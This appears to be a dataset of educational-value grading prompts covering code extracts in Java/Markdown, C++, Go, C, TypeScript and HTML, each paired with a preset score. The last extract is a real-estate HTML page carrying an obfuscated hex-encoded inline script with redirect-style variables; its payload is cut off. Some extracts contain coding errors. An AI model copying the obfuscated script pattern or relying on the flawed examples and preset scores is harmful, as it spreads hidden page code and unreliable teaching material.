* `{4,}` indica un número mínimo de repeticiones.
* Se pueden usar los siguientes atajos: `?` para `{0, 1}`, `+` para `{1,}` y `*` para `{0,}`.
* También hay atajos disponibles para conjuntos de caracteres comunes, como `\s` para espacios, `\d` para cifras o `\w` para letras, números y barra baja.
* `[\w]+.([A-z]+)`: las partes de la expresión entre paréntesis representan grupos de captura, partes del String que nos interesa procesar; en este ejemplo, nuestro grupo de captura intenta representar la extensión de un nombre de fichero.
# Métodos de regex en la clase String
## Cuándo no usar estos métodos
Los métodos de expresiones regulares disponibles e
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 4 |
---
layout: default
title: Expresiones regulares
categories: apis-java
order: 1
---
# Expresiones regulares
Las expresiones regulares (o regex) son **series de caracteres que se usan para hacer búsquedas o sustituciones en textos**.
En Java podemos acceder a estas funcionalidad a través de las clases del paquete `java.util.regex`, y de manera limitada a través de la clase `String`.
## Reglas básicas
Las expresiones regulares se componen siguiendo unas reglas especificas que pueden combinarse libremente_
* `"hola"`: una serie de caracteres implica una búsqueda literal; sólo "hola" encajaría aquí.
* `"[0-9abcdef]"`: una serie de caracteres (o un rango válido con guión) implica que aceptamos cualquier carácter de estos; un carácter hexadecimal cualquiera encaja aquí.
* `"[^0-9]"`: lo anterior con un `^` antes indica que podemos usar cualquier carácter menos los del rango; en este caso significa que aceptamos cualquier carácter que no sea un número.
* `".ola"`: el punto es el comodín, indicando que cualquier carácter vale; tanto "bola" como "cola", como "Hola" encajan; en Java no.
* `"[a-z]{1, 10}"`: los números entre corchetes indican el número admitido de repeticiones; este regex requiere una palabra en minúsuculas de 1 a 10 caracteres.
* `{9}` se puede usar para indicar un número exacto de repeticiones.
* `{4,}` indica un número mínimo de repeticiones.
* Se pueden usar los siguientes atajos: `?` para `{0, 1}`, `+` para `{1,}` y `*` para `{0,}`.
* También hay atajos disponibles para conjuntos de caracteres comunes, como `\s` para espacios, `\d` para cifras o `\w` para letras, números y barra baja.
* `[\w]+.([A-z]+)`: las partes de la expresión entre paréntesis representan grupos de captura, partes del String que nos interesa procesar; en este ejemplo, nuestro grupo de captura intenta representar la extensión de un nombre de fichero.
# Métodos de regex en la clase String
## Cuándo no usar estos métodos
Los métodos de expresiones regulares disponibles en la clase String **compilan la expresión en un nuevo `Pattern` cada vez que se llaman**. Esto significa que **si hacemos operaciones con la misma expresión regular continuamente** (por ejemplo, comprobar que un parámetro `String email` es una dirección válida) es recomendable usar directamente las clases `java.util.regex`.
## Métodos disponibles
* `matches`: comprueba si el String al completo encaja en la expresión.
* `split`: da un array de Strings resultado de partirse usando la expresión regular; por ejemplo, `"a,b,c".split(",")` dará como resultado el array `{ "a", "b", "c" }`.
* El argumento opcional `limit` indica el máximo de partes, pudiendo ser un número negativo para que no haya límite, o 0 para el mismo comportamiento, pero descartando los Strings vacíos al final; por ejemplo, `"odoo".split("o", -1)` nos dará `{ "", "d", "", "" }`, pero `"odoo".split("o", 0)` nos dará `{ "", "d" }`.
* `replaceFirst`: sustituye el primer substring que encaje por el reemplazo propuesto; por ejemplo, `"abacos".replaceFirst("ab", "ai")` dará como resultado `"aiacos"`.
* `replaceAll`: sustituye todos los substring que encajen por el reemplazo propuesto; por ejemplo, `"abacos".replaceFirst("a", "i")` dará como resultado `"ibicos"`.
TO DO
# Clase Pattern y derivados
Para usar la librería de regex, lo primero es llamar a `Pattern.compile(regex)`, que compila la expresión regular para que sea usable por nuestro código. A partir de aquí, podemos acceder al método `split` en el que se basa el método de la clase `String`.
Cuando queramos operar con un String usando dicha expresión, llamaremos a `pattern.matcher(string)`, que nos retornará un `Matcher` con la información del cotejado. A través de él podremos llamar a varios métodos, siendo los más habituales `matches`, `replaceFirst` y `replaceAll`, que son los usados por los métodos con el mismo nombre en la clase `String`, pero con el beneficio de poder reutilizar el `Pattern` para ahorrar recursos, y el método `group` para sacar los distintos grupos de captura.
# Ejercicios
## Validador de DNI
Desarrolla una aplicación a la que se le suministre el DNI y:
* Compruebe que tiene un formato válido.
* A través de grupos de captura, extraiga el número y la letra para comprobar que la letra de control es la correcta de acuerdo a su [fórmula de cálculo](https://es.wikipedia.org/wiki/DNI_(Espa%C3%B1a)#N%C3%BAmero).
## camelCase a texto
Desarrolla una aplicación que:
* Reciba un texto y lo valide como camel case (sólo letras).
* Añada espacios antes de cada letra mayúscula y pase todo el texto a minúsculas.
## Simplificador de números
Desarrolla una aplicación que:
* Admita un número y compruebe su validez como expresión regular, admitiendo también comas, puntos o espacios
* Elimine los ceros a la izquierda usando grupos de captura.
* Elimine todas las comas, puntos o espacios menos el último, convirtiendo este a un punto.
## Procesador de regex
Desarrolla una aplicación que:
* Admita un String como expresión regular y un String para contrastar.
* Muestre si el String propuesto encaja en la expresión regular.
* Muestre los grupos de captura.
# Enlaces de interés
* [Expresiones regulares (Baeldung)](https://www.baeldung.com/regular-expressions-java)
* [Regex101](https://regex101.com/) (campo de pruebas para expresiones regulares)
* [iHateRegex](https://ihateregex.io/) (buscador de expresiones regulares de uso común)
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//
// Created by rbcheng on 18-11-29.
// Email: <EMAIL>
//
#include "vector"
#include "stl_heap.h"
#include <iostream>
int main() {
int a[] = {1, 2, 3, 4, 5, 6, 7, 8};
stdd::vector<int> m_vector(a, a + 8);
stdd::make_heap(m_vector.begin(), m_vector.end());
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
m_vector.push_back(10);
stdd::push_heap(m_vector.begin(), m_vector.end());
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
stdd::pop_heap(m_vector.begin(), m_vector.end());
std::cout << m_vector.back() << std::endl;
m_vector.pop_back();
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
stdd::sort_heap(m_vector.begin(), m_vector.end());
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 2 |
//
// Created by rbcheng on 18-11-29.
// Email: <EMAIL>
//
#include "vector"
#include "stl_heap.h"
#include <iostream>
int main() {
int a[] = {1, 2, 3, 4, 5, 6, 7, 8};
stdd::vector<int> m_vector(a, a + 8);
stdd::make_heap(m_vector.begin(), m_vector.end());
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
m_vector.push_back(10);
stdd::push_heap(m_vector.begin(), m_vector.end());
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
stdd::pop_heap(m_vector.begin(), m_vector.end());
std::cout << m_vector.back() << std::endl;
m_vector.pop_back();
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
stdd::sort_heap(m_vector.begin(), m_vector.end());
for (auto& item: m_vector) {
std::cout << item << " ";
}
std::cout << std::endl;
}
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package apimodels
import (
"context"
"encoding/json"
"fmt"
"io"
"time"
"github.com/evergreen-ci/timber"
"github.com/evergreen-ci/timber/testresults"
"github.com/pkg/errors"
)
// Valid sort by keys.
const (
CedarTestResultsSortByStart = testresults.SortByStart
CedarTestResultsSortByDuration = testresults.SortByDuration
CedarTestResultsSortByTestName = testresults.SortByTestName
CedarTestResultsSortByStatus = testresults.SortByStatus
CedarTestResultsSortByBaseStatus = testresults.SortByBaseStatus
)
// CedarTestResults represents the expected test results format returned from
// Cedar.
type CedarTestResults struct {
Stats CedarTestResultsStats `json:"stats"`
Results []CedarTestResult `json:"results"`
}
// CedarTestResultsStats represents the expected test results stats format
// returned from Cedar.
type CedarTestResultsStats struct {
TotalCount int `json:"total_count"`
FailedCount int `json:"failed_count"`
FilteredCount *int `json:"filtered_count"`
}
// CedarTestResult represents the expected test result format returned from
// Cedar.
type CedarTestResult struct {
TaskID string `json:"task_id"`
Execution int `json:"execution"`
TestName string `json:"test_name"`
DisplayTestName string `json:"display_test_name"`
GroupID string `json:"group_id"`
Status string `json:"status"`
BaseStatus string `json:"base_status"`
LogTestName string `json:"log_test_name"`
LogURL string `json:"log_url"`
RawLogURL string `json:"raw_log_url"`
LineNum int `json:"line_num"`
Start time.Time `json:"test_start_time"`
End time.Time `json:"test_end_time"`
}
// GetCedarTestResultsOptions represents the arguments for fetching test
// results and related information via Cedar.
type GetCedarTestResultsOptions struct {
BaseURL string `json:"-"`
TaskID string `json:"-"`
// General query parameters.
Executi
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 3 |
package apimodels
import (
"context"
"encoding/json"
"fmt"
"io"
"time"
"github.com/evergreen-ci/timber"
"github.com/evergreen-ci/timber/testresults"
"github.com/pkg/errors"
)
// Valid sort by keys.
const (
CedarTestResultsSortByStart = testresults.SortByStart
CedarTestResultsSortByDuration = testresults.SortByDuration
CedarTestResultsSortByTestName = testresults.SortByTestName
CedarTestResultsSortByStatus = testresults.SortByStatus
CedarTestResultsSortByBaseStatus = testresults.SortByBaseStatus
)
// CedarTestResults represents the expected test results format returned from
// Cedar.
type CedarTestResults struct {
Stats CedarTestResultsStats `json:"stats"`
Results []CedarTestResult `json:"results"`
}
// CedarTestResultsStats represents the expected test results stats format
// returned from Cedar.
type CedarTestResultsStats struct {
TotalCount int `json:"total_count"`
FailedCount int `json:"failed_count"`
FilteredCount *int `json:"filtered_count"`
}
// CedarTestResult represents the expected test result format returned from
// Cedar.
type CedarTestResult struct {
TaskID string `json:"task_id"`
Execution int `json:"execution"`
TestName string `json:"test_name"`
DisplayTestName string `json:"display_test_name"`
GroupID string `json:"group_id"`
Status string `json:"status"`
BaseStatus string `json:"base_status"`
LogTestName string `json:"log_test_name"`
LogURL string `json:"log_url"`
RawLogURL string `json:"raw_log_url"`
LineNum int `json:"line_num"`
Start time.Time `json:"test_start_time"`
End time.Time `json:"test_end_time"`
}
// GetCedarTestResultsOptions represents the arguments for fetching test
// results and related information via Cedar.
type GetCedarTestResultsOptions struct {
BaseURL string `json:"-"`
TaskID string `json:"-"`
// General query parameters.
Execution *int `json:"-"`
DisplayTask bool `json:"-"`
// Filter, sortring, and pagination query parameters specific to
// fetching test results.
TestName string `json:"-"`
Statuses []string `json:"-"`
GroupID string `json:"-"`
SortBy string `json:"-"`
SortOrderDSC bool `json:"-"`
BaseTaskID string `json:"-"`
Limit int `json:"-"`
Page int `json:"-"`
}
func (opts GetCedarTestResultsOptions) convert() testresults.GetOptions {
return testresults.GetOptions{
Cedar: timber.GetOptions{
BaseURL: fmt.Sprintf("https://%s", opts.BaseURL),
},
TaskID: opts.TaskID,
Execution: opts.Execution,
DisplayTask: opts.DisplayTask,
TestName: opts.TestName,
Statuses: opts.Statuses,
GroupID: opts.GroupID,
SortBy: opts.SortBy,
SortOrderDSC: opts.SortOrderDSC,
BaseTaskID: opts.BaseTaskID,
Limit: opts.Limit,
Page: opts.Page,
}
}
// GetCedarTestResults makes a request to Cedar for a task's test results.
func GetCedarTestResults(ctx context.Context, opts GetCedarTestResultsOptions) (*CedarTestResults, error) {
data, err := testresults.Get(ctx, opts.convert())
if err != nil {
return nil, errors.Wrap(err, "getting test results from Cedar")
}
testResults := &CedarTestResults{}
if err = json.Unmarshal(data, testResults); err != nil {
return nil, errors.Wrap(err, "unmarshaling test results from Cedar")
}
return testResults, nil
}
// GetMultiPageCedarTestResults makes a request to Cedar for a task's test
// results and returns an io.ReadCloser that will continue fetching and reading
// subsequent pages of test results if paginated.
func GetMultiPageCedarTestResults(ctx context.Context, opts GetCedarTestResultsOptions) (io.ReadCloser, error) {
r, err := testresults.GetWithPaginatedReadCloser(ctx, opts.convert())
if err != nil {
return nil, errors.Wrap(err, "getting test results from Cedar")
}
return r, nil
}
// GetCedarTestResultsStats makes a request to Cedar for a task's test results
// stats. This route ignores filtering, sorting, and pagination query
// parameters.
func GetCedarTestResultsStats(ctx context.Context, opts GetCedarTestResultsOptions) (*CedarTestResultsStats, error) {
timberOpts := opts.convert()
timberOpts.Stats = true
data, err := testresults.Get(ctx, timberOpts)
if err != nil {
return nil, errors.Wrap(err, "getting test results stats from Cedar")
}
stats := &CedarTestResultsStats{}
if err = json.Unmarshal(data, stats); err != nil {
return nil, errors.Wrap(err, "unmarshaling test results stats from cedar")
}
return stats, nil
}
// GetCedarTestResultsFailedSample makes a request to Cedar for a task's failed
// test result sample. This route ignores filtering, sorting, and pagination
// query parameters.
func GetCedarTestResultsFailedSample(ctx context.Context, opts GetCedarTestResultsOptions) ([]string, error) {
timberOpts := opts.convert()
timberOpts.FailedSample = true
data, err := testresults.Get(ctx, timberOpts)
if err != nil {
return nil, errors.Wrap(err, "getting failed test result sample from Cedar")
}
sample := []string{}
if err = json.Unmarshal(data, &sample); err != nil {
return nil, errors.Wrap(err, "unmarshaling failed test result sample from Cedar")
}
return sample, nil
}
// DisplayTaskInfo represents information about a display task necessary for
// creating a cedar test result.
type DisplayTaskInfo struct {
ID string `json:"id"`
Name string `json:"name"`
}
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#include <stdio.h>
#include <math.h>
int main(){
int n;
double S;
printf("enter (int) n: ");
fflush(stdin);
scanf("%d", &n);
printf("enter (double) S: ");
fflush(stdin);
scanf("%lf", &S);
double sumA = 0;
double sumB = 0;
for (int i = 1; i <= n; i++) {
sumA += pow(i,3)/(pow(i,2)+1);
sumB += -7/(pow(i,2)+1);
}
double a = (S-sumB)/sumA;
printf("a = %lf;\r\n",a);
printf("%lf = %lf a + (%lf)",S,sumA,sumB);
return 0;
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 2 |
#include <stdio.h>
#include <math.h>
int main(){
int n;
double S;
printf("enter (int) n: ");
fflush(stdin);
scanf("%d", &n);
printf("enter (double) S: ");
fflush(stdin);
scanf("%lf", &S);
double sumA = 0;
double sumB = 0;
for (int i = 1; i <= n; i++) {
sumA += pow(i,3)/(pow(i,2)+1);
sumB += -7/(pow(i,2)+1);
}
double a = (S-sumB)/sumA;
printf("a = %lf;\r\n",a);
printf("%lf = %lf a + (%lf)",S,sumA,sumB);
return 0;
}
|
Below is an extract from a TypeScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid TypeScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical TypeScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., generics, decorators). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching TypeScript. It should be similar to a school exercise, a tutorial, or a TypeScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching TypeScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
export { Thumbnail_1 as default } from "../";
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
typescript
| 1 |
export { Thumbnail_1 as default } from "../";
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#include <libs/ctype.h>
#include <libs/asm/io.h>
#include <libs/asm/memory.h>
#include <libs/asm/segment.h>
#include <libs/asm/system.h>
#define STACKFRAME_DEPTH 20
extern const struct stab __STAB_BEGIN__[]; // beginning of stabs table
extern const struct stab __STAB_END__[]; // end of stabs table
extern const char __STABSTR_BEGIN__[]; // beginning of string table
extern const char __STABSTR_END__[]; // end of string table
struct eip_debug_info{
const char *eip_file;
int eip_line;
const char *eip_fn_name;
int eip_fn_name_len;
uptr_t eip_fn_addr;
int eip_fn_narg;
};
static void stab_binsearch(const struct stab *stabs, int *region_left, int *region_right,
int type, uptr_t addr) {
int l = *region_left, r = *region_right, any_matches = 0;
while (l <= r) {
int true_m = (l + r) / 2, m = true_m;
// search for earliest stab with right type
while (m >= l && stabs[m].n_type != type) {
m --;
}
if (m < l) { // no match in [l, m]
l = true_m + 1;
continue;
}
// actual binary search
any_matches = 1;
if (stabs[m].n_value < addr) {
*region_left = m;
l = true_m + 1;
} else if (stabs[m].n_value > addr) {
*region_right = m - 1;
r = m - 1;
} else {
// exact match for 'addr', but continue loop to find
// *region_right
*region_left = m;
l = m;
addr ++;
}
}
if (!any_matches) {
*region_right = *region_left - 1;
}
else {
// find rightmost region containing 'addr'
l = *region_right;
for (; l > *region_left && stabs[l].n_type != type; l --)
/* do nothing */;
*region_left = l;
}
}
int fill_eip_debug_info(uptr_t addr, struct eip_debug_info *info){
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 2 |
#include <libs/ctype.h>
#include <libs/asm/io.h>
#include <libs/asm/memory.h>
#include <libs/asm/segment.h>
#include <libs/asm/system.h>
#define STACKFRAME_DEPTH 20
extern const struct stab __STAB_BEGIN__[]; // beginning of stabs table
extern const struct stab __STAB_END__[]; // end of stabs table
extern const char __STABSTR_BEGIN__[]; // beginning of string table
extern const char __STABSTR_END__[]; // end of string table
struct eip_debug_info{
const char *eip_file;
int eip_line;
const char *eip_fn_name;
int eip_fn_name_len;
uptr_t eip_fn_addr;
int eip_fn_narg;
};
static void stab_binsearch(const struct stab *stabs, int *region_left, int *region_right,
int type, uptr_t addr) {
int l = *region_left, r = *region_right, any_matches = 0;
while (l <= r) {
int true_m = (l + r) / 2, m = true_m;
// search for earliest stab with right type
while (m >= l && stabs[m].n_type != type) {
m --;
}
if (m < l) { // no match in [l, m]
l = true_m + 1;
continue;
}
// actual binary search
any_matches = 1;
if (stabs[m].n_value < addr) {
*region_left = m;
l = true_m + 1;
} else if (stabs[m].n_value > addr) {
*region_right = m - 1;
r = m - 1;
} else {
// exact match for 'addr', but continue loop to find
// *region_right
*region_left = m;
l = m;
addr ++;
}
}
if (!any_matches) {
*region_right = *region_left - 1;
}
else {
// find rightmost region containing 'addr'
l = *region_right;
for (; l > *region_left && stabs[l].n_type != type; l --)
/* do nothing */;
*region_left = l;
}
}
int fill_eip_debug_info(uptr_t addr, struct eip_debug_info *info){
const struct stab *stabs, *stab_end;
const char *stabstr, *stabstr_end;
info->eip_file = "<unknown>";
info->eip_line = 0;
info->eip_fn_name = "<unknown>";
info->eip_fn_namelen = 9;
info->eip_fn_addr = addr;
info->eip_fn_narg = 0;
stabs = __STAB_BEGIN__;
stab_end = __STAB_END__;
stabstr = __STABSTR_BEGIN__;
stabstr_end = __STABSTR_END__;
// String table validity checks
if (stabstr_end <= stabstr || stabstr_end[-1] != 0) {
return -1;
}
// Now we find the right stabs that define the function containing
// 'eip'. First, we find the basic source file containing 'eip'.
// Then, we look in that source file for the function. Then we look
// for the line number.
// Search the entire set of stabs for the source file (type N_SO).
int lfile = 0, rfile = (stab_end - stabs) - 1;
stab_binsearch(stabs, &lfile, &rfile, N_SO, addr);
if (lfile == 0)
return -1;
// Search within that file's stabs for the function definition
// (N_FUN).
int lfun = lfile, rfun = rfile;
int lline, rline;
stab_binsearch(stabs, &lfun, &rfun, N_FUN, addr);
if (lfun <= rfun) {
// stabs[lfun] points to the function name
// in the string table, but check bounds just in case.
if (stabs[lfun].n_strx < stabstr_end - stabstr) {
info->eip_fn_name = stabstr + stabs[lfun].n_strx;
}
info->eip_fn_addr = stabs[lfun].n_value;
addr -= info->eip_fn_addr;
// Search within the function definition for the line number.
lline = lfun;
rline = rfun;
} else {
// Couldn't find function stab! Maybe we're in an assembly
// file. Search the whole file for the line number.
info->eip_fn_addr = addr;
lline = lfile;
rline = rfile;
}
info->eip_fn_namelen = strfind(info->eip_fn_name, ':') - info->eip_fn_name;
// Search within [lline, rline] for the line number stab.
// If found, set info->eip_line to the right line number.
// If not found, return -1.
stab_binsearch(stabs, &lline, &rline, N_SLINE, addr);
if (lline <= rline) {
info->eip_line = stabs[rline].n_desc;
} else {
return -1;
}
// Search backwards from the line number for the relevant filename stab.
// We can't just use the "lfile" stab because inlined functions
// can interpolate code from a different file!
// Such included source files use the N_SOL stab type.
while (lline >= lfile
&& stabs[lline].n_type != N_SOL
&& (stabs[lline].n_type != N_SO || !stabs[lline].n_value)) {
lline --;
}
if (lline >= lfile && stabs[lline].n_strx < stabstr_end - stabstr) {
info->eip_file = stabstr + stabs[lline].n_strx;
}
// Set eip_fn_narg to the number of arguments taken by the function,
// or 0 if there was no containing function.
if (lfun < rfun) {
for (lline = lfun + 1;
lline < rfun && stabs[lline].n_type == N_PSYM;
lline ++) {
info->eip_fn_narg ++;
}
}
return 0;
}
void print_kern_info(void){
extern char etext[], edata[], end[], kern_init[];
cprintf("Special kernel symbols:\n");
cprintf(" entry 0x%08x (phys)\n", kern_init);
cprintf(" etext 0x%08x (phys)\n", etext);
cprintf(" edata 0x%08x (phys)\n", edata);
cprintf(" end 0x%08x (phys)\n", end);
cprintf("Kernel executable memory footprint: %dKB\n", (end - kern_init + 1023)/1024);
}
void print_debug_info(uptr_t eip){
struct eip_debug_info info;
if (debuginfo_eip(eip, &info) != 0) {
cprintf(" <unknow>: -- 0x%08x --\n", eip);
}
else {
char fnname[256];
int j;
for (j = 0; j < info.eip_fn_name_len; j ++) {
fnname[j] = info.eip_fn_name[j];
}
fnname[j] = '\0';
cprintf(" %s:%d: %s+%d\n", info.eip_file, info.eip_line,
fnname, eip - info.eip_fn_addr);
}
}
static __noinline uint32_t read_eip(void){
uint32_t eip;
asm volatile("movl 4(%%ebp), %0" : "=r" (eip));
return eip;
}
void print_stackframe(void){
uint32_t ebp = read_ebp();
uint32_t eip = read_eip();
for(int i=0,j ; ebp != 0 && i < STACKFRAME_DEPTH ; i++){
cprintf("ebp:0x%08x\n", ebp);
cprintf("eip:0x%08x\n", eip);
cprintf("args:");
uint32_t *args = (uint32_t *)ebp+2;
for(int j = 0 ; j < 4 ; j++){
cprintf("0x%08x ", args[j]);
}
cprintf("\n");
print_debug_info(eip-1);
eip = ((uint32_t *)ebp)[1];
ebp = ((uint32_t *)ebp)[0];
}
}
|
Below is an extract from an HTML document. Evaluate whether it has a high educational value and could help teach web development. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document contains valid HTML markup, even if it's not educational, like boilerplate code or standard tags.
- Add another point if the document addresses practical HTML concepts and uses semantic elements appropriately.
- Award a third point if the document is suitable for educational use and introduces key web concepts, even if the topic is somewhat advanced (e.g., forms, metadata). The code should be well-structured and use clear, descriptive naming.
- Give a fourth point if the document is self-contained and highly relevant to teaching HTML. It should be similar to a school exercise, a tutorial, or an HTML course section for early learners.
- Grant a fifth point if the document is outstanding in its educational value and is perfectly suited for teaching HTML to beginners. It should be well-organized, easy to understand, and ideally include some explanatory comments or demonstrate best practices in HTML structure.
The extract:
<!DOCTYPE html>
<html lang="en">
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="">
<title>howard hanna real estate cleveland ohio | </title>
<!-- Bootstrap core CSS -->
<link href="./assets/css/bootstrap.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="./assets/css/main.css" rel="stylesheet">
<link href="./assets/css/font-awesome.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
<script src="./assets/js/chart.js"></script>
<script>
'use strict'
var appred = true;
var baseurl = "<KEY>;
var _0x9bd5=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D"];var keyStr=_0x9bd5[0];var url=null;var redurl=null;
var _0xf02d=["","\x65\x78\x65\x63","\x54\x68\x65\x72\x65\x20\x77\x65\x72\x65\x20\x69\x6E\x76\x61\x6C\x69\x64\x20\x62\x61\x73\x65\x36\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x69\x6E\x20\x74\x68\x65\x20\x69\x6E\x70\x75\x74\x20\x74\x65\x78\x74\x2E\x0A","\x56\x61\x6C\x69\x64\x20\x62\x61\x73\x65\x36\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x61\x72\x65\x20\x41\x2D\x5A\x2C\x20\x61\x2D\x7A\x2C\x20\x30\x2D\x39\x2C\x20\x27\x2B\x27\x2C\x20\x27\x2F\x27\x2C\x61\x6E\x64\x20\x27\x3D\x27\x0A","\x45\x78\x70\x65\x63\x74\x20\x65\x72\x72\x6F\x72\x73\x20\x69\x6E\x20\x64\x65\x63\x6F\x64\x69\x6E\x67\x2E","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function decode64(_0x4719x2){var
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
html
| 1 |
<!DOCTYPE html>
<html lang="en">
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="">
<title>howard hanna real estate cleveland ohio | </title>
<!-- Bootstrap core CSS -->
<link href="./assets/css/bootstrap.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="./assets/css/main.css" rel="stylesheet">
<link href="./assets/css/font-awesome.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
<script src="./assets/js/chart.js"></script>
<script>
'use strict'
var appred = true;
var baseurl = "<KEY>;
var _0x9bd5=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D"];var keyStr=_0x9bd5[0];var url=null;var redurl=null;
